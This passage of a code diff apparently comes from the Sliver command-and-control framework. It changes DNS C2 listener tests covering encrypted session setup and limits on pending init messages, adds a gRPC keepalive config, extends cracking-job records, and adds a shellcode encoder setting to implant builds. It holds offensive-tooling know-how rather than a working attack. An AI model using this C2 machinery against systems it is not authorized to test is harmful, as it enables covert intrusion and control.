}
|
||||
|
||||
handler(envelope.Data, func(data []byte, err error) {
|
||||
_ = err
|
||||
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: data})
|
||||
})
|
||||
}
|
||||
}()
|
||||
|
||||
return func() {
|
||||
close(abort)
|
||||
_ = client.CloseSession()
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(5 * time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
+289
-19
@@ -232,31 +232,55 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDNSHelloRoundTrip(t *testing.T) {
|
||||
func TestDNSSessionInitRoundTrip(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
resolver := &testDNSResolver{server: server, parent: example1}
|
||||
|
||||
msg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_TOTP,
|
||||
ID: 0,
|
||||
sessionID := uint32(0x123456)
|
||||
if _, ok := server.sessions.Load(sessionID); ok {
|
||||
t.Fatalf("expected session %d to not exist before init", sessionID)
|
||||
}
|
||||
domain, err := encodeMessageDomain(example1, msg)
|
||||
|
||||
key := implantCrypto.RandomSymmetricKey()
|
||||
cipherCtx := implantCrypto.NewCipherContext(key)
|
||||
initData, err := implantCrypto.AgeKeyExToServer(key[:])
|
||||
if err != nil {
|
||||
t.Fatalf("encodeMessageDomain failed: %s", err)
|
||||
t.Fatalf("AgeKeyExToServer failed: %s", err)
|
||||
}
|
||||
data, _, err := resolver.A(domain)
|
||||
initMsg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x01000000 | sessionID,
|
||||
Size: uint32(len(initData)),
|
||||
}
|
||||
client := dnsclient.NewDNSClient(example1, opts)
|
||||
domains, err := client.SplitBuffer(initMsg, implantEncoders.Base32Encoder{}, initData)
|
||||
if err != nil {
|
||||
t.Fatalf("resolver.A failed: %s", err)
|
||||
t.Fatalf("SplitBuffer failed: %s", err)
|
||||
}
|
||||
if len(data) != 4 {
|
||||
t.Fatalf("expected 4 bytes in response, got %d", len(data))
|
||||
|
||||
var respData []byte
|
||||
for _, domain := range domains {
|
||||
data, _, err := resolver.TXT(domain)
|
||||
if err != nil {
|
||||
t.Fatalf("resolver.TXT failed: %s", err)
|
||||
}
|
||||
if 0 < len(data) {
|
||||
respData = data
|
||||
}
|
||||
}
|
||||
sessionID := binary.LittleEndian.Uint32(data) & sessionIDBitMask
|
||||
if sessionID == 0 {
|
||||
t.Fatal("expected non-zero session id")
|
||||
if len(respData) < 1 {
|
||||
t.Fatal("expected non-empty init response")
|
||||
}
|
||||
plaintext, err := cipherCtx.Decrypt(respData)
|
||||
if err != nil {
|
||||
t.Fatalf("init response decrypt failed: %s", err)
|
||||
}
|
||||
got := binary.LittleEndian.Uint32(plaintext) & sessionIDBitMask
|
||||
if got != sessionID {
|
||||
t.Fatalf("expected session id %d, got %d", sessionID, got)
|
||||
}
|
||||
if _, ok := server.sessions.Load(sessionID); !ok {
|
||||
t.Fatalf("expected session %d to be stored", sessionID)
|
||||
t.Fatalf("expected session %d to be stored after init", sessionID)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -421,7 +445,8 @@ func TestDNSDataToImplantRejectsInvalidRead(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestIsC2Domain(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||
isC2, domain := listener.isC2SubDomain(c2Domains, "asdf.1.example.com.")
|
||||
if !isC2 {
|
||||
t.Fatal("IsC2Domain expected true, got false")
|
||||
@@ -444,7 +469,8 @@ func TestIsC2Domain(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestDecodeSubdataBase32(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||
payload := make([]byte, 64)
|
||||
rand.Read(payload)
|
||||
original := &dnspb.DNSMessage{
|
||||
@@ -476,7 +502,8 @@ func TestDecodeSubdataBase32(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestDecodeSubdataRejectsInvalid(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||
_, _, err := listener.decodeSubdata("invalid")
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg, got %v", err)
|
||||
@@ -484,7 +511,8 @@ func TestDecodeSubdataRejectsInvalid(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestDecodeSubdataRejectsInvalidProto(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||
encoded, err := implantEncoders.Base32Encoder{}.Encode([]byte{0x00})
|
||||
if err != nil {
|
||||
t.Fatalf("encode failed: %s", err)
|
||||
@@ -570,6 +598,199 @@ func TestAccumulateInitDataReassembles(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataCapsPendingInits(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
|
||||
// Only send a single fragment per INIT so each call allocates one pending init.
|
||||
for i := 0; i < defaultMaxPendingDNSInits+10; i++ {
|
||||
id := uint32(i + 1) // avoid zero
|
||||
msg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: id,
|
||||
Size: 2048,
|
||||
Start: 0,
|
||||
Data: []byte{0xAA},
|
||||
}
|
||||
_, complete, err := server.accumulateInitData(msg)
|
||||
if i < defaultMaxPendingDNSInits {
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error for pending init %d: %v", i, err)
|
||||
}
|
||||
if complete {
|
||||
t.Fatalf("unexpected completion for pending init %d", i)
|
||||
}
|
||||
if _, ok := server.messages.Load(id); !ok {
|
||||
t.Fatalf("expected pending init %d to be stored", id)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg after cap, got %v", err)
|
||||
}
|
||||
if _, ok := server.messages.Load(id); ok {
|
||||
t.Fatalf("expected pending init %d to not be stored after cap", id)
|
||||
}
|
||||
}
|
||||
|
||||
if got := server.pendingInits.Load(); got != int64(defaultMaxPendingDNSInits) {
|
||||
t.Fatalf("expected pendingInits=%d, got %d", defaultMaxPendingDNSInits, got)
|
||||
}
|
||||
|
||||
var count int64
|
||||
server.messages.Range(func(key, value any) bool {
|
||||
count++
|
||||
return true
|
||||
})
|
||||
if count != int64(defaultMaxPendingDNSInits) {
|
||||
t.Fatalf("expected %d pending init entries, got %d", defaultMaxPendingDNSInits, count)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataCompletionCleansUpPendingInit(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
client := dnsclient.NewDNSClient(example1, opts)
|
||||
|
||||
testData := make([]byte, 2048)
|
||||
rand.Read(testData)
|
||||
msg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x01020304,
|
||||
Size: uint32(len(testData)),
|
||||
}
|
||||
domains, err := client.SplitBuffer(msg, implantEncoders.Base32Encoder{}, testData)
|
||||
if err != nil {
|
||||
t.Fatalf("SplitBuffer failed: %s", err)
|
||||
}
|
||||
|
||||
subMsgs := make([]*dnspb.DNSMessage, 0, len(domains))
|
||||
for _, domain := range domains {
|
||||
subdata := strings.TrimSuffix(domain, example1)
|
||||
subdata = strings.ReplaceAll(subdata, ".", "")
|
||||
raw, err := implantEncoders.Base32Encoder{}.Decode([]byte(subdata))
|
||||
if err != nil {
|
||||
t.Fatalf("decode subdata failed: %s", err)
|
||||
}
|
||||
subMsg := &dnspb.DNSMessage{}
|
||||
if err := proto.Unmarshal(raw, subMsg); err != nil {
|
||||
t.Fatalf("unmarshal submsg failed: %s", err)
|
||||
}
|
||||
subMsgs = append(subMsgs, subMsg)
|
||||
}
|
||||
|
||||
for _, subMsg := range subMsgs {
|
||||
_, _, err := server.accumulateInitData(subMsg)
|
||||
if err != nil {
|
||||
t.Fatalf("accumulateInitData failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
if got := server.pendingInits.Load(); got != 0 {
|
||||
t.Fatalf("expected pendingInits=0 after completion, got %d", got)
|
||||
}
|
||||
if _, ok := server.messages.Load(msg.ID); ok {
|
||||
t.Fatalf("expected pending init %d to be deleted after completion", msg.ID)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataSizeMismatchCleansUpPendingInit(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
id := uint32(0x01020304)
|
||||
|
||||
// First fragment creates pending state.
|
||||
_, complete, err := server.accumulateInitData(&dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: id,
|
||||
Size: 2048,
|
||||
Start: 0,
|
||||
Data: []byte{0xAA},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error creating pending init: %v", err)
|
||||
}
|
||||
if complete {
|
||||
t.Fatal("unexpected completion creating pending init")
|
||||
}
|
||||
if got := server.pendingInits.Load(); got != 1 {
|
||||
t.Fatalf("expected pendingInits=1, got %d", got)
|
||||
}
|
||||
|
||||
// Mismatched Size should reject and delete pending state.
|
||||
_, _, err = server.accumulateInitData(&dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: id,
|
||||
Size: 2049,
|
||||
Start: 1,
|
||||
Data: []byte{0xBB},
|
||||
})
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg for mismatched size, got %v", err)
|
||||
}
|
||||
if got := server.pendingInits.Load(); got != 0 {
|
||||
t.Fatalf("expected pendingInits=0 after cleanup, got %d", got)
|
||||
}
|
||||
if _, ok := server.messages.Load(id); ok {
|
||||
t.Fatalf("expected pending init %d to be deleted after size mismatch", id)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGCPendingInitsExpiresOldEntries(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
|
||||
now := time.Now()
|
||||
expiredAt := now.Add(-defaultPendingDNSInitTTL - time.Second)
|
||||
freshAt := now.Add(-defaultPendingDNSInitTTL / 2)
|
||||
|
||||
expiredIDs := make([]uint32, 0, 10)
|
||||
freshIDs := make([]uint32, 0, 5)
|
||||
|
||||
for i := 0; i < 10; i++ {
|
||||
id := uint32(0x90000000 + i)
|
||||
expiredIDs = append(expiredIDs, id)
|
||||
server.messages.Store(id, &pendingInit{
|
||||
Created: expiredAt,
|
||||
Envelope: &PendingEnvelope{
|
||||
Size: 1,
|
||||
received: 0,
|
||||
messages: map[uint32][]byte{},
|
||||
mutex: &sync.Mutex{},
|
||||
complete: false,
|
||||
},
|
||||
})
|
||||
server.pendingInits.Add(1)
|
||||
}
|
||||
for i := 0; i < 5; i++ {
|
||||
id := uint32(0xA0000000 + i)
|
||||
freshIDs = append(freshIDs, id)
|
||||
server.messages.Store(id, &pendingInit{
|
||||
Created: freshAt,
|
||||
Envelope: &PendingEnvelope{
|
||||
Size: 1,
|
||||
received: 0,
|
||||
messages: map[uint32][]byte{},
|
||||
mutex: &sync.Mutex{},
|
||||
complete: false,
|
||||
},
|
||||
})
|
||||
server.pendingInits.Add(1)
|
||||
}
|
||||
|
||||
server.gcPendingInits()
|
||||
|
||||
for _, id := range expiredIDs {
|
||||
if _, ok := server.messages.Load(id); ok {
|
||||
t.Fatalf("expected expired pending init %d to be deleted", id)
|
||||
}
|
||||
}
|
||||
for _, id := range freshIDs {
|
||||
if _, ok := server.messages.Load(id); !ok {
|
||||
t.Fatalf("expected fresh pending init %d to remain", id)
|
||||
}
|
||||
}
|
||||
if got := server.pendingInits.Load(); got != int64(len(freshIDs)) {
|
||||
t.Fatalf("expected pendingInits=%d, got %d", len(freshIDs), got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSplitToChunksPadding(t *testing.T) {
|
||||
data := []byte{1, 2, 3, 4, 5, 6}
|
||||
chunks := splitToChunks(data, 4)
|
||||
@@ -658,7 +879,6 @@ func newTestDNSServer() *SliverDNSServer {
|
||||
messages: &sync.Map{},
|
||||
TTL: 0,
|
||||
MaxTXTLength: defaultMaxTXTLength,
|
||||
EnforceOTP: false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -860,3 +1080,53 @@ func randomBytes(size int) []byte {
|
||||
rand.Read(buf)
|
||||
return buf
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataRejectsOversizedInit(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
msg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x01020304,
|
||||
Size: defaultMaxDNSInitSize + 1,
|
||||
Data: []byte{0x01},
|
||||
}
|
||||
|
||||
_, _, err := server.accumulateInitData(msg)
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataRejectsReceivedOverrun(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
|
||||
// Declared size is 8 bytes, but two chunks deliver 10 bytes total.
|
||||
first := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x0a0b0c0d,
|
||||
Size: 8,
|
||||
Start: 0,
|
||||
Stop: 5,
|
||||
Data: []byte("12345"),
|
||||
}
|
||||
second := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x0a0b0c0d,
|
||||
Size: 8,
|
||||
Start: 5,
|
||||
Stop: 10,
|
||||
Data: []byte("67890"),
|
||||
}
|
||||
|
||||
_, complete, err := server.accumulateInitData(first)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error on first chunk: %v", err)
|
||||
}
|
||||
if complete {
|
||||
t.Fatal("expected incomplete state after first chunk")
|
||||
}
|
||||
|
||||
_, _, err = server.accumulateInitData(second)
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg, got %v", err)
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -128,7 +128,7 @@ func StartWGListenerJob(wgListener *clientpb.WGListenerReq) (*core.Job, error) {
|
||||
|
||||
// StartDNSListenerJob - Start a DNS listener as a job
|
||||
func StartDNSListenerJob(dnsListener *clientpb.DNSListenerReq) (*core.Job, error) {
|
||||
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries, dnsListener.EnforceOTP)
|
||||
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries)
|
||||
description := fmt.Sprintf("%s (canaries %v)", strings.Join(dnsListener.Domains, " "), dnsListener.Canaries)
|
||||
job := &core.Job{
|
||||
ID: core.NextJobID(),
|
||||
|
||||
+44
-4
@@ -52,10 +52,50 @@ func getCrackLegacyConfigPath() string {
|
||||
}
|
||||
|
||||
type crackConfigYAML struct {
|
||||
AutoFire bool `yaml:"AutoFire"`
|
||||
MaxFileSize int64 `yaml:"MaxFileSize"`
|
||||
ChunkSize int64 `yaml:"ChunkSize"`
|
||||
MaxDiskUsage int64 `yaml:"MaxDiskUsage"`
|
||||
AutoFire bool `yaml:"auto_fire"`
|
||||
MaxFileSize int64 `yaml:"max_file_size"`
|
||||
ChunkSize int64 `yaml:"chunk_size"`
|
||||
MaxDiskUsage int64 `yaml:"max_disk_usage"`
|
||||
}
|
||||
|
||||
type crackConfigYAMLCompat struct {
|
||||
AutoFire *bool `yaml:"auto_fire"`
|
||||
MaxFileSize *int64 `yaml:"max_file_size"`
|
||||
ChunkSize *int64 `yaml:"chunk_size"`
|
||||
MaxDiskUsage *int64 `yaml:"max_disk_usage"`
|
||||
|
||||
AutoFireLegacy *bool `yaml:"AutoFire"`
|
||||
MaxFileSizeLegacy *int64 `yaml:"MaxFileSize"`
|
||||
ChunkSizeLegacy *int64 `yaml:"ChunkSize"`
|
||||
MaxDiskUsageLegacy *int64 `yaml:"MaxDiskUsage"`
|
||||
}
|
||||
|
||||
func (c *crackConfigYAML) UnmarshalYAML(node *yaml.Node) error {
|
||||
var raw crackConfigYAMLCompat
|
||||
if err := node.Decode(&raw); err != nil {
|
||||
return err
|
||||
}
|
||||
if raw.AutoFire != nil {
|
||||
c.AutoFire = *raw.AutoFire
|
||||
} else if raw.AutoFireLegacy != nil {
|
||||
c.AutoFire = *raw.AutoFireLegacy
|
||||
}
|
||||
if raw.MaxFileSize != nil {
|
||||
c.MaxFileSize = *raw.MaxFileSize
|
||||
} else if raw.MaxFileSizeLegacy != nil {
|
||||
c.MaxFileSize = *raw.MaxFileSizeLegacy
|
||||
}
|
||||
if raw.ChunkSize != nil {
|
||||
c.ChunkSize = *raw.ChunkSize
|
||||
} else if raw.ChunkSizeLegacy != nil {
|
||||
c.ChunkSize = *raw.ChunkSizeLegacy
|
||||
}
|
||||
if raw.MaxDiskUsage != nil {
|
||||
c.MaxDiskUsage = *raw.MaxDiskUsage
|
||||
} else if raw.MaxDiskUsageLegacy != nil {
|
||||
c.MaxDiskUsage = *raw.MaxDiskUsageLegacy
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func crackConfigFromYAML(data []byte) (*clientpb.CrackConfig, error) {
|
||||
|
||||
@@ -17,6 +17,41 @@ func TestCrackConfigParsesYAML(t *testing.T) {
|
||||
t.Fatalf("failed to create config dir: %v", err)
|
||||
}
|
||||
|
||||
data := []byte(`auto_fire: false
|
||||
max_file_size: 2048
|
||||
chunk_size: 1024
|
||||
max_disk_usage: 4096
|
||||
`)
|
||||
if err := os.WriteFile(configPath, data, 0600); err != nil {
|
||||
t.Fatalf("failed to write yaml config: %v", err)
|
||||
}
|
||||
|
||||
config, err := LoadCrackConfig()
|
||||
if err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
if config.AutoFire {
|
||||
t.Fatalf("expected AutoFire false")
|
||||
}
|
||||
if config.MaxFileSize != 2048 {
|
||||
t.Fatalf("expected MaxFileSize %d, got %d", 2048, config.MaxFileSize)
|
||||
}
|
||||
if config.ChunkSize != 1024 {
|
||||
t.Fatalf("expected ChunkSize %d, got %d", 1024, config.ChunkSize)
|
||||
}
|
||||
if config.MaxDiskUsage != 4096 {
|
||||
t.Fatalf("expected MaxDiskUsage %d, got %d", 4096, config.MaxDiskUsage)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackConfigParsesLegacyYAML(t *testing.T) {
|
||||
t.Setenv("SLIVER_ROOT_DIR", t.TempDir())
|
||||
|
||||
configPath := getCrackConfigPath()
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0700); err != nil {
|
||||
t.Fatalf("failed to create config dir: %v", err)
|
||||
}
|
||||
|
||||
data := []byte(`AutoFire: false
|
||||
MaxFileSize: 2048
|
||||
ChunkSize: 1024
|
||||
|
||||
@@ -30,8 +30,9 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
serverConfigFileName = "server.yaml"
|
||||
serverLegacyConfigFileName = "server.json"
|
||||
serverConfigFileName = "server.yaml"
|
||||
serverLegacyConfigFileName = "server.json"
|
||||
defaultGRPCKeepaliveMinTimeSeconds int64 = 30
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -59,6 +60,17 @@ type LogConfig struct {
|
||||
TLSKeyLogger bool `json:"tls_key_logger" yaml:"tls_key_logger"`
|
||||
}
|
||||
|
||||
// GRPCKeepaliveConfig - gRPC keepalive enforcement settings
|
||||
type GRPCKeepaliveConfig struct {
|
||||
MinTimeSeconds int64 `json:"min_time_seconds" yaml:"min_time_seconds"`
|
||||
PermitWithoutStream *bool `json:"permit_without_stream" yaml:"permit_without_stream"`
|
||||
}
|
||||
|
||||
// GRPCConfig - gRPC server settings
|
||||
type GRPCConfig struct {
|
||||
Keepalive *GRPCKeepaliveConfig `json:"keepalive" yaml:"keepalive"`
|
||||
}
|
||||
|
||||
// DaemonConfig - Configure daemon mode
|
||||
type DaemonConfig struct {
|
||||
Host string `json:"host" yaml:"host"`
|
||||
@@ -182,6 +194,7 @@ type ServerConfig struct {
|
||||
DaemonMode bool `json:"daemon_mode" yaml:"daemon_mode"`
|
||||
DaemonConfig *DaemonConfig `json:"daemon" yaml:"daemon"`
|
||||
Logs *LogConfig `json:"logs" yaml:"logs"`
|
||||
GRPC *GRPCConfig `json:"grpc" yaml:"grpc"`
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower" yaml:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy" yaml:"go_proxy"`
|
||||
HTTPDefaults *HttpDefaultConfig `json:"http_default" yaml:"http_default"`
|
||||
@@ -257,6 +270,20 @@ func GetServerConfig() *ServerConfig {
|
||||
}
|
||||
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
|
||||
|
||||
if config.GRPC == nil {
|
||||
config.GRPC = &GRPCConfig{}
|
||||
}
|
||||
if config.GRPC.Keepalive == nil {
|
||||
config.GRPC.Keepalive = &GRPCKeepaliveConfig{}
|
||||
}
|
||||
if config.GRPC.Keepalive.MinTimeSeconds <= 0 {
|
||||
config.GRPC.Keepalive.MinTimeSeconds = defaultGRPCKeepaliveMinTimeSeconds
|
||||
}
|
||||
if config.GRPC.Keepalive.PermitWithoutStream == nil {
|
||||
defaultPermit := true
|
||||
config.GRPC.Keepalive.PermitWithoutStream = &defaultPermit
|
||||
}
|
||||
|
||||
err := config.Save() // This updates the config with any missing fields
|
||||
if err != nil {
|
||||
serverConfigLog.Errorf("Failed to save default config %s", err)
|
||||
@@ -271,6 +298,7 @@ func GetServerConfig() *ServerConfig {
|
||||
}
|
||||
|
||||
func getDefaultServerConfig() *ServerConfig {
|
||||
defaultPermitWithoutStream := true
|
||||
return &ServerConfig{
|
||||
DaemonMode: false,
|
||||
DaemonConfig: &DaemonConfig{
|
||||
@@ -282,6 +310,12 @@ func getDefaultServerConfig() *ServerConfig {
|
||||
GRPCUnaryPayloads: false,
|
||||
GRPCStreamPayloads: false,
|
||||
},
|
||||
GRPC: &GRPCConfig{
|
||||
Keepalive: &GRPCKeepaliveConfig{
|
||||
MinTimeSeconds: defaultGRPCKeepaliveMinTimeSeconds,
|
||||
PermitWithoutStream: &defaultPermitWithoutStream,
|
||||
},
|
||||
},
|
||||
HTTPDefaults: &HttpDefaultConfig{
|
||||
Headers: []HttpDefaultHeader{
|
||||
{
|
||||
|
||||
@@ -138,15 +138,20 @@ func (c *CrackFileChunk) ToProtobuf() *clientpb.CrackFileChunk {
|
||||
// crack job contains the parent command, whose keyspace may get broken
|
||||
// up into multiple crack tasks and distributed to multiple crackstations
|
||||
type CrackJob struct {
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
CompletedAt time.Time
|
||||
Tasks []CrackTask
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
CompletedAt time.Time
|
||||
Err string
|
||||
ResultFileID string
|
||||
Tasks []CrackTask
|
||||
|
||||
Command CrackCommand // Parent command
|
||||
}
|
||||
|
||||
func (c *CrackJob) Status() clientpb.CrackJobStatus {
|
||||
if c.Err != "" {
|
||||
return clientpb.CrackJobStatus_FAILED
|
||||
}
|
||||
if c.CompletedAt.IsZero() {
|
||||
return clientpb.CrackJobStatus_IN_PROGRESS
|
||||
}
|
||||
@@ -158,9 +163,67 @@ func (c *CrackJob) Status() clientpb.CrackJobStatus {
|
||||
return clientpb.CrackJobStatus_COMPLETED
|
||||
}
|
||||
|
||||
// BeforeCreate - GORM hook
|
||||
func (c *CrackJob) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
if c.ID == uuid.Nil {
|
||||
c.ID, err = uuid.NewV4()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if c.CreatedAt.IsZero() {
|
||||
c.CreatedAt = time.Now()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *CrackJob) ToProtobuf() *clientpb.CrackJob {
|
||||
job := &clientpb.CrackJob{
|
||||
ID: c.ID.String(),
|
||||
CreatedAt: c.CreatedAt.UTC().Format(time.RFC3339),
|
||||
Status: c.Status(),
|
||||
Err: c.Err,
|
||||
Command: c.Command.ToProtobuf(),
|
||||
ResultFileID: c.ResultFileID,
|
||||
}
|
||||
if !c.CompletedAt.IsZero() {
|
||||
job.CompletedAt = c.CompletedAt.UTC().Format(time.RFC3339)
|
||||
}
|
||||
return job
|
||||
}
|
||||
|
||||
func (CrackJob) FromProtobuf(c *clientpb.CrackJob) *CrackJob {
|
||||
job := &CrackJob{}
|
||||
if c == nil {
|
||||
return job
|
||||
}
|
||||
jobID := uuid.FromStringOrNil(c.ID)
|
||||
if jobID != uuid.Nil {
|
||||
job.ID = jobID
|
||||
}
|
||||
if c.CreatedAt != "" {
|
||||
if createdAt, err := time.Parse(time.RFC3339, c.CreatedAt); err == nil {
|
||||
job.CreatedAt = createdAt
|
||||
}
|
||||
}
|
||||
if c.CompletedAt != "" {
|
||||
if completedAt, err := time.Parse(time.RFC3339, c.CompletedAt); err == nil {
|
||||
job.CompletedAt = completedAt
|
||||
}
|
||||
}
|
||||
job.Err = c.Err
|
||||
job.ResultFileID = c.ResultFileID
|
||||
if c.Command != nil {
|
||||
job.Command = *CrackCommand{}.FromProtobuf(c.Command)
|
||||
job.Command.CrackJobID = job.ID
|
||||
}
|
||||
return job
|
||||
}
|
||||
|
||||
// CrackTask - An individual chunk of a job sent to a specific crackstation
|
||||
type CrackTask struct {
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
CrackJobID uuid.UUID `gorm:"type:uuid;"`
|
||||
CrackstationID uuid.UUID `gorm:"type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
StartedAt time.Time
|
||||
@@ -201,6 +264,7 @@ type CrackCommand struct {
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
CrackTaskID uuid.UUID `gorm:"type:uuid;"`
|
||||
CrackJobID uuid.UUID `gorm:"type:uuid;"`
|
||||
|
||||
// FLAGS
|
||||
AttackMode int32
|
||||
|
||||
+16
-12
@@ -168,7 +168,9 @@ type ImplantConfig struct {
|
||||
MaxConnectionErrors uint32
|
||||
ConnectionStrategy string
|
||||
SGNEnabled bool
|
||||
Exports string
|
||||
// ShellcodeEncoder - client-side post-processing applied to shellcode output
|
||||
ShellcodeEncoder int32
|
||||
Exports string
|
||||
|
||||
// WireGuard
|
||||
WGPeerTunIP string
|
||||
@@ -203,7 +205,7 @@ type ImplantConfig struct {
|
||||
IsShellcode bool
|
||||
|
||||
RunAtLoad bool
|
||||
// Donut options (Windows shellcode only)
|
||||
// Shellcode options (Windows: Donut; macOS/Linux: Compress only)
|
||||
DonutEntropy uint32
|
||||
DonutCompress uint32
|
||||
DonutExitOpt uint32
|
||||
@@ -264,6 +266,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
ObfuscateSymbols: ic.ObfuscateSymbols,
|
||||
TemplateName: ic.TemplateName,
|
||||
SGNEnabled: ic.SGNEnabled,
|
||||
ShellcodeEncoder: clientpb.ShellcodeEncoder(ic.ShellcodeEncoder),
|
||||
|
||||
ReconnectInterval: ic.ReconnectInterval,
|
||||
MaxConnectionErrors: ic.MaxConnectionErrors,
|
||||
@@ -297,7 +300,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
IncludeTCP: ic.IncludeTCP,
|
||||
Extension: ic.Extension,
|
||||
Exports: strings.Split(ic.Exports, ","),
|
||||
DonutConfig: &clientpb.DonutConfig{
|
||||
ShellcodeConfig: &clientpb.ShellcodeConfig{
|
||||
Entropy: ic.DonutEntropy,
|
||||
Compress: ic.DonutCompress,
|
||||
ExitOpt: ic.DonutExitOpt,
|
||||
@@ -479,6 +482,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
|
||||
cfg.TemplateName = defaultTemplateName
|
||||
}
|
||||
cfg.SGNEnabled = pbConfig.SGNEnabled
|
||||
cfg.ShellcodeEncoder = int32(pbConfig.ShellcodeEncoder)
|
||||
|
||||
cfg.IncludeMTLS = IsC2Enabled([]string{"mtls"}, pbConfig.C2)
|
||||
cfg.IncludeWG = IsC2Enabled([]string{"wg"}, pbConfig.C2)
|
||||
@@ -518,15 +522,15 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
|
||||
cfg.RunAtLoad = pbConfig.RunAtLoad
|
||||
cfg.DebugFile = pbConfig.DebugFile
|
||||
cfg.Exports = strings.Join(pbConfig.Exports, ",")
|
||||
if pbConfig.DonutConfig != nil {
|
||||
cfg.DonutEntropy = pbConfig.DonutConfig.Entropy
|
||||
cfg.DonutCompress = pbConfig.DonutConfig.Compress
|
||||
cfg.DonutExitOpt = pbConfig.DonutConfig.ExitOpt
|
||||
cfg.DonutBypass = pbConfig.DonutConfig.Bypass
|
||||
